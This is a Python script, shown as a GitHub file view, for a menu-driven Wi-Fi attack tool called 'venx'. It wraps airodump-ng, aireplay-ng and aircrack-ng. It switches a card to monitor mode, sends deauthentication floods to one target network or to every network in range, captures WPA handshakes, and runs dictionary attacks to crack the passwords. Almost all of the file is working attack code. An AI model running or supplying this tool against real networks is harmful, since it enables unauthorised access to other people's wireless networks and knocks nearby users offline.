-
Notifications
You must be signed in to change notification settings - Fork 0
/
venx.py
606 lines (565 loc) · 26 KB
/
venx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
#!/usr/bin/env python
import os,sys,subprocess,time,random
import src.constants as cs
from src.intro import intro,intro2,intro3
from src.intro import intro4,intro5,intro6
from src.intro import intro7,intro8,intro9
from src.intro import intro10
from post_connection import post_connection
if os.geteuid() != 0:
print("\033[0;31m")
print("Run this as root")
exit(1)
subprocess.run("clear")
class venx:
def __init__(self):
self.bssid = ''
self.channel = ''
self.essid= ''
self.card = ''
self.data=[]
self.hs_dir ='hs/'
self.path_to_hs=''
self.path_to_wordlist='psw/pass.txt'
self.temporary_file_dir='temporary/'
self.wifi_list=[]
self.screen = self.intro_screen()
def intro_screen(self):
num = random.randint(0,9)
if num == 0:
intro().intro()
elif num == 1:
intro2().intro()
elif num == 2:
intro3().intro()
elif num == 3:
intro4().intro()
elif num == 4:
intro5().intro()
elif num == 5:
intro6().intro()
elif num == 6:
intro7().intro()
elif num == 7:
intro8().intro()
elif num == 8:
intro9().intro()
elif num == 9:
intro10().intro()
def clear_screen(self):
subprocess.run("clear")
def file_exist(self,file):
if os.path.exists(file):
return True
else:
return False
# Handling card's modes
def put_card_into_monitor(self):
try:
if self.card["mode"] != "Monitor":
subprocess.run(["ifconfig", self.card['name'], 'down'], check=True)
subprocess.run(["iwconfig", self.card['name'], 'mode','monitor'], check=True)
subprocess.run(["ifconfig", self.card['name'], 'up'], check=True)
card_name=self.card["name"]
self.card["mode"]="Monitor"
print(f"{cs.bold_green}Successfully put {card_name} into monitor mode.{cs.no_color}")
time.sleep(1)
self.clear_screen()
self.screen=self.show_main_menu()
else:
card_name=self.card["name"]
print(f"{cs.bold_pink}{card_name}{cs.bold_green} is already in monitor mode{cs.no_color}")
except subprocess.CalledProcessError as e:
print(f"{cs.bold_red}Error putting {card_name} into monitor mode: {e}{cs.no_color}")
def put_card_into_managed(self):
try:
if self.card["mode"] != "Managed":
subprocess.run(["ifconfig", self.card['name'], 'down'], check=True)
subprocess.run(["iwconfig", self.card['name'], 'mode','managed'], check=True)
subprocess.run(["ifconfig", self.card['name'], 'up'], check=True)
card_name=self.card["name"]
self.card["mode"]="Managed"
print(f"{cs.bold_green}Successfully put {card_name} into managed mode.{cs.no_color}")
time.sleep(1)
self.clear_screen()
self.screen=self.show_main_menu()
else:
card_name=self.card["name"]
print(f"{cs.bold_pink}{card_name}{cs.bold_green} is already in managed mode{cs.no_color}")
except subprocess.CalledProcessError as e:
print(f"{cs.bold_red}Error putting {card_name} into managed mode: {e}{cs.no_color}")
def put_card_into_managed_when_exiting(self):
try:
if self.card["mode"] != "Managed":
subprocess.run(["ifconfig", self.card['name'], 'down'], check=True)
subprocess.run(["iwconfig", self.card['name'], 'mode','managed'], check=True)
subprocess.run(["ifconfig", self.card['name'], 'up'], check=True)
card_name=self.card["name"]
self.card["mode"]="Managed"
print(f"{cs.bold_green}Successfully put {card_name} into managed mode.{cs.no_color}")
time.sleep(1)
else:
card_name=self.card["name"]
print(f"{cs.bold_pink}{card_name}{cs.bold_green} is already in managed mode{cs.no_color}")
except subprocess.CalledProcessError as e:
print(f"{cs.bold_red}Error putting {card_name} into managed mode: {e}{cs.no_color}")
# Geting input,wireless cards and exiting script
def get_input(self):
input_get=input(f"{cs.bold_pink}venx-->{cs.no_color}")
return input_get
def exit_script(self):
exit=input(f"{cs.warning_yellow}Do you really wanna exit(y/n)? ")
if exit == 'y' or exit == 'Y':
if self.card["mode"] == "Monitor":
choise =input(f"{cs.warning_yellow}Your card is in 'Monitor mode, do you want to keep it(y/n)?")
if choise == 'y' or choise == 'Y':
print(f"{cs.bold_red}Exiting the script....")
time.sleep(1)
print(f"{cs.bold_green}Have a nice time, see you later.")
sys.exit()
elif choise == 'n' or choise == 'N':
self.put_card_into_managed_when_exiting()
print(f"{cs.bold_red}Exiting the script....")
time.sleep(1)
print(f"{cs.bold_green}Have a nice time, see you later.")
sys.exit()
else:
print(f"{cs.bold_red}Wrong Input!")
self.exit_script()
else:
print(f"{cs.bold_red}Exiting the script....")
time.sleep(1)
print(f"{cs.bold_green}Have a nice time, see you later.")
sys.exit()
else:
print(f"{cs.bold_blue}Continuing the session")
time.sleep(0.5)
self.clear_screen()
self.screen = self.show_main_menu()
def get_wireless_cards(self):
iwconfig_output = os.popen("iwconfig 2>/dev/null").read()
iwconfig_lines = iwconfig_output.splitlines()
for i in iwconfig_lines:
if "Mode:Managed" in i.split():
index = iwconfig_lines.index(i) - 1
words=iwconfig_lines[index].split()
device=words[0]
card_info ={
"name": device,
"mode":"Managed"
}
self.data.append(card_info)
if "Mode:Monitor" in i.split():
device=i.split()[0]
card_info = {
"name": device,
"mode": "Monitor"
}
self.data.append(card_info)
def choose_wireless_cards(self):
print(f"{cs.bold_pink}Choose a wireless card.")
for i in self.data:
device_index=self.data.index(i)
device_name=i["name"]
print(f"{cs.bold_blue}{device_index + 1}. {device_name}")
print("\n")
card_is_set=False
while card_is_set ==False:
choise=self.get_input()
try:
choise=int(choise)
if choise >= 1 and choise <= len(self.data):
self.card = self.data[choise -1]
card_is_set=True
self.clear_screen()
self.show_main_menu()
else:
print(f"{cs.bold_red}Wrong Input!")
except ValueError:
print(f"{cs.warning_yellow}Input must be an integer!")
#Attacks here
def deauth_and_hs_capture_attack(self):
hs_name=input(f"{cs.bold_blue}give a name to handshake: ")
self.path_to_hs=self.hs_dir+hs_name+'-01.cap'
card_name=self.card["name"]
bssid=self.bssid
channel=self.channel
path_to_hs=f"{self.hs_dir}{hs_name}"
command = f"xterm -geometry '100x25+900+0' -e bash -c 'airodump-ng --bssid {bssid} --channel {channel} --output-format cap -w {path_to_hs} {card_name}'"
subprocess.run(["iwconfig","wlan0", "channel",channel])
command2 = f"xterm -geometry '100x25+200+0' -hold -e bash -c 'aireplay-ng --deauth 20 -a {bssid} {card_name}'"
subprocess.Popen(command, shell=True)
subprocess.Popen(command2, shell=True)
self.clear_screen()
self.show_wpa_attacks_menu()
def get_handshake(self):
if self.card["mode"] != "Monitor":
print(f"{cs.bold_red} Monitor mode needed for this")
print(f"{cs.bold_blue}Put your card into 'Monitor' mode in main menu")
time.sleep(3)
self.clear_screen()
self.screen=self.show_wpa_attacks_menu()
else:
card_name=self.card["name"]
try:
# Run airodump-ng in a separate xterm terminal and redirect output to a file
print(f"{cs.bold_pink}Close the window when you see the target wifi.")
command = f"xterm -geometry '100x30+600+0' -e bash -c 'airodump-ng --output-format csv -w temporary/output_file {card_name}'"
subprocess.run(command, shell=True)
# Wait for a moment to ensure the process is running and producing output
time.sleep(1)
self.clear_screen()
self.show_navbar()
# Read the contents of the output file
with open('temporary/output_file-01.csv', 'r') as file:
output_lines = file.readlines()
# Print each line
index=0
for line in output_lines:
if "Station MAC" in line.split(','):
final_line_index=output_lines.index(line)
self.wifi_list=[]
for line in output_lines:
if line.strip() == '':
continue
if "BSSID" in line.split(','):
continue
if output_lines.index(line)<final_line_index-1:
words=line.split(',')
bssid=words[0]
essid=words[13]
channel=words[3]
data={
"essid": essid,
"bssid": bssid,
"channel": channel
}
self.wifi_list.append(data)
index+=1
subprocess.run(["rm","temporary/output_file-01.csv"])
for wifi in self.wifi_list:
essid=wifi["essid"]
bssid=wifi["bssid"]
channel=wifi["channel"]
index=self.wifi_list.index(wifi)
print(f"{cs.bold_blue}{index}. {essid} BSSID: {bssid} CHANNEL: {channel} ")
print(f"{cs.bold_green}Enter number of the wifi.")
print('\n')
choise = int(self.get_input())
wifi_is_set=False
while wifi_is_set ==False:
if choise > len(self.wifi_list):
wifi_is_set = False
elif 0 <= choise <= len(self.wifi_list):
self.bssid=self.wifi_list[choise]["bssid"]
self.channel=self.wifi_list[choise]["channel"]
self.essid=self.wifi_list[choise]["essid"]
self.clear_screen()
self.deauth_and_hs_capture_attack()
self.show_wpa_attacks_menu()
wifi_is_set=True
else:
wifi_is_set=False
except Exception as e:
print(f"Error: {str(e)}")
def get_handshake_of_all(self):
if self.card["mode"] != "Monitor":
print(f"{cs.bold_red} Monitor mode needed for this")
print(f"{cs.bold_blue}Put your card into 'Monitor' mode in main menu")
time.sleep(3)
self.clear_screen()
self.screen=self.show_wpa_attacks_menu()
else:
card_name=self.card["name"]
try:
# Run airodump-ng in a separate xterm terminal and redirect output to a file
print(f"{cs.bold_pink}Close the window when you see enaugh wifi's.")
command = f"xterm -geometry '100x30+600+0' -e bash -c 'airodump-ng --output-format csv -w temporary/output_file {card_name}'"
subprocess.run(command, shell=True)
# Wait for a moment to ensure the process is running and producing output
time.sleep(1)
self.clear_screen()
self.show_navbar()
# Read the contents of the output file
with open('temporary/output_file-01.csv', 'r') as file:
output_lines = file.readlines()
# Print each line
index=0
for line in output_lines:
if "Station MAC" in line.split(','):
final_line_index=output_lines.index(line)
self.wifi_list=[]
for line in output_lines:
if line.strip() == '':
continue
if "BSSID" in line.split(','):
continue
if output_lines.index(line)<final_line_index-1:
words=line.split(',')
bssid=words[0]
essid=words[13]
channel=words[3]
data={
"essid": essid,
"bssid": bssid,
"channel": channel
}
self.wifi_list.append(data)
index+=1
subprocess.run(["rm","temporary/output_file-01.csv"])
for wifi in self.wifi_list:
essid=wifi["essid"]
bssid=wifi["bssid"]
channel=wifi["channel"]
index=self.wifi_list.index(wifi)
print(f"{cs.bold_blue}{index}. {essid} BSSID: {bssid} CHANNEL: {channel} ")
print(f"{cs.bold_green}Enter number of the wifi.")
print('\n')
print(f"Do you want to attack all these wifi's?(y/n):")
choice = self.get_input()
choice_is_set=False
while choice_is_set ==False:
if choice.lower() == 'y':
hs_name=input(f"{cs.bold_blue}give a name to handshake: ")
self.path_to_hs=self.hs_dir+hs_name+'-01.cap'
path_to_hs=f"{self.hs_dir}{hs_name}"
card_name=self.card["name"]
command = f"xterm -geometry '100x25+900+0' -e bash -c 'airodump-ng --output-format cap -w {path_to_hs} {card_name}'"
subprocess.Popen(command, shell=True)
for wifi in self.wifi_list:
bssid=wifi["bssid"]
channel=wifi["channel"]
subprocess.run(["iwconfig","wlan0", "channel",channel])
time.sleep(0.2)
command2 = f"xterm -geometry '100x25+200+0' -hold -e bash -c 'aireplay-ng --deauth 20 -a {bssid} {card_name}'"
subprocess.Popen(command2, shell=True)
choice_is_set = True
elif choice_is_set.lower() == 'n':
self.clear_screen()
self.show_wpa_attacks_menu()
choice_is_set=True
else:
choice_is_set=False
except Exception as e:
print(f"Error: {str(e)}")
def crack_hs_password(self):
if self.path_to_hs != '':
print(f"{cs.warning_yellow}Type 0(zero) to continue with already captured or set hadshake file.")
choise=input(f"{cs.bold_blue}Give path to Handshake: ")
if choise == '0':
print(f"{cs.bold_green}Using previous handshake.")
else:
if self.file_exist(choise):
self.path_to_hs=choise
print(f"{cs.bold_pink}path to handshake is set!")
else:
print(f"{cs.bold_red}File does not exist!")
self.crack_hs_password()
else:
choise=input(f"{cs.bold_blue}Give path to Handshake: ")
if self.file_exist(choise):
self.path_to_hs=choise
print(f"{cs.bold_pink}path to handshake is set!")
else:
print(f"{cs.bold_red}File does not exist!")
self.crack_hs_password()
print(f"{cs.warning_yellow}Type 0(zero) to use default wordlist.")
wordlist_is_set=False
while wordlist_is_set == False:
wordlist=input(f"{cs.bold_blue}Enter path to wordlist: ")
if wordlist == '0':
print(f"{cs.bold_pink}Using default wordlist.")
wordlist_is_set=True
else:
if self.file_exist(wordlist):
self.path_to_wordlist=wordlist
print(f"{cs.bold_green}Wordlist is set!")
wordlist_is_set=True
else:
wordlist_is_set =False
time.sleep(1)
print(f"{cs.brown}Dictionary attack is initializing.....")
time.sleep(1)
command=f"xterm -geometry '100x50+600+0' -hold -e bash -c 'aircrack-ng {self.path_to_hs} -w {self.path_to_wordlist}'"
subprocess.run(command,shell=True)
print(f"{cs.warning_yellow}Process ended!")
time.sleep(1)
self.clear_screen()
self.show_wpa_attacks_menu()
def get_hs_and_crack(self):
if self.card["mode"] != "Monitor":
print(f"{cs.bold_red} Monitor mode needed for this")
print(f"{cs.bold_blue}Put your card into 'Monitor' mode in main menu")
time.sleep(3)
self.clear_screen()
self.screen=self.show_wpa_attacks_menu()
else:
card_name=self.card["name"]
try:
# Run airodump-ng in a separate xterm terminal and redirect output to a file
print(f"{cs.bold_pink}Close the window when you see the target wifi.")
command = f"xterm -geometry '100x30+600+0' -e bash -c 'airodump-ng --output-format csv -w temporary/output_file {card_name}'"
subprocess.run(command, shell=True)
# Wait for a moment to ensure the process is running and producing output
time.sleep(1)
self.clear_screen()
self.show_navbar()
# Read the contents of the output file
with open('temporary/output_file-01.csv', 'r') as file:
output_lines = file.readlines()
# Print each line
index=0
for line in output_lines:
if "Station MAC" in line.split(','):
final_line_index=output_lines.index(line)
self.wifi_list=[]
for line in output_lines:
if line.strip() == '':
continue
if "BSSID" in line.split(','):
continue
if output_lines.index(line)<final_line_index-1:
words=line.split(',')
bssid=words[0]
essid=words[13]
channel=words[3]
data={
"essid": essid,
"bssid": bssid,
"channel": channel
}
self.wifi_list.append(data)
index+=1
subprocess.run(["rm","temporary/output_file-01.csv"])
for wifi in self.wifi_list:
essid=wifi["essid"]
bssid=wifi["bssid"]
channel=wifi["channel"]
index=self.wifi_list.index(wifi)
print(f"{cs.bold_blue}{index}. {essid} BSSID: {bssid} CHANNEL: {channel} ")
print(f"{cs.bold_green}Enter the number of the wifi.")
print('\n')
choise = int(self.get_input())
wifi_is_set=False
while wifi_is_set ==False:
if choise > len(self.wifi_list):
wifi_is_set = False
elif 0 <= choise <= len(self.wifi_list):
self.bssid=self.wifi_list[choise]["bssid"]
self.channel=self.wifi_list[choise]["channel"]
self.essid=self.wifi_list[choise]["essid"]
self.clear_screen()
self.deauth_and_hs_capture_attack_2()
wifi_is_set=True
else:
wifi_is_set=False
except Exception as e:
print(f"Error: {str(e)}")
wordlist_is_set=False
while wordlist_is_set == False:
print(f"{cs.warning_yellow}Type 0(zero) for default.")
wordlist=input(f"{cs.bold_blue}Enter path to wordlist: ")
if wordlist == '0':
print(f"{cs.bold_pink}Using default wordlist.")
wordlist_is_set=True
else:
if self.file_exist(wordlist):
self.path_to_wordlist=wordlist
print(f"{cs.bold_green}Wordlist is set!")
wordlist_is_set=True
else:
wordlist_is_set =False
time.sleep(1)
print(f"{cs.bold_brown}Dictionary attack is initializing.....")
time.sleep(1)
command=f"xterm -geometry '100x50+600+0' -hold -e bash -c 'aircrack-ng {self.path_to_hs} -w {self.path_to_wordlist}'"
subprocess.run(command,shell=True)
print(f"{cs.warning_yellow}Process ended!")
time.sleep(1)
self.clear_screen()
self.show_wpa_attacks_menu()
def deauth_and_hs_capture_attack_2(self):
hs_name=input(f"{cs.bold_blue}give a name to handshake: ")
self.path_to_hs=self.hs_dir+hs_name+'-01.cap'
card_name=self.card["name"]
bssid=self.bssid
channel=self.channel
path_to_hs=f"{self.hs_dir}{hs_name}"
command = f"xterm -geometry '100x25+900+0' -e bash -c 'airodump-ng --bssid {bssid} --channel {channel} --output-format cap -w {path_to_hs} {card_name}'"
subprocess.run(["iwconfig","wlan0", "channel",channel])
command2 = f"xterm -geometry '100x25+200+0' -hold -e bash -c 'aireplay-ng --deauth 20 -a {bssid} {card_name}'"
subprocess.Popen(command, shell=True)
subprocess.Popen(command2, shell=True)
# Attack menues here
def show_wpa_attacks_menu(self):
self.show_navbar()
options=["Back to main menu","Exit script","Get handshake --> single target","Crack existing handshake","Get handshake and crack","Get handshake of all --> multiple targetts"]
for i in options:
print(f"{cs.bold_blue}{options.index(i)}. {i}")
print("\n")
option_is_set=False
while option_is_set ==False:
choise=int(self.get_input())
if choise >= 0 and choise <= len(options)-1:
if choise == 0:
self.clear_screen()
self.show_main_menu()
elif choise == 1:
self.exit_script()
elif choise == 2:
self.get_handshake()
elif choise == 3:
self.crack_hs_password()
elif choise == 4:
self.get_hs_and_crack()
elif choise == 5:
self.get_handshake_of_all()
# Main menues and main function here
def show_main_menu(self):
self.show_navbar()
options=["Exit script","Put card into monitor mode","Put card into managed mode",
"Select another card","WPA/WPA2 attacks menu", "Post-connection attacks menu"]
for i in options:
print(f"{cs.bold_blue}{options.index(i)}. {i}")
print("\n")
option_is_set=False
while option_is_set ==False:
choise=int(self.get_input())
if choise >= 0 and choise <= len(options)-1:
if choise == 0:
self.exit_script()
elif choise == 1:
self.put_card_into_monitor()
elif choise == 2:
self.put_card_into_managed()
elif choise == 3:
self.choose_wireless_cards()
elif choise == 4:
self.clear_screen()
self.show_wpa_attacks_menu()
elif choise == 5:
self.clear_screen()
post_connection().main()
else:
print(f"{cs.bold_red}Wrong Input!")
self.clear_screen()
self.show_main_menu()
def show_navbar(self):
card_name=self.card["name"]
card_mode=self.card["mode"]
print("\n")
if self.card["mode"] == "Monitor":
mode_color=cs.bold_red
else:
mode_color=cs.bold_green
print(f"{cs.bold_white}Card:{cs.bold_green}{card_name}{cs.bold_white} Mode:{mode_color}{card_mode}{cs.bold_white}\
Bssid:{cs.bold_green}{self.bssid} {cs.bold_white} Channel:{cs.bold_green}{self.channel}{cs.bold_white}\
Essid:{cs.bold_green}{self.essid} {cs.bold_white} \nHandshake:{cs.bold_green}{self.path_to_hs} {cs.bold_white}\
Wordlist:{cs.bold_green}{self.path_to_wordlist}")
print("\n")
def main(self):
self.get_wireless_cards()
self.choose_wireless_cards()
self.screen = self.show_main_menu()
if __name__=="__main__":
venx().main()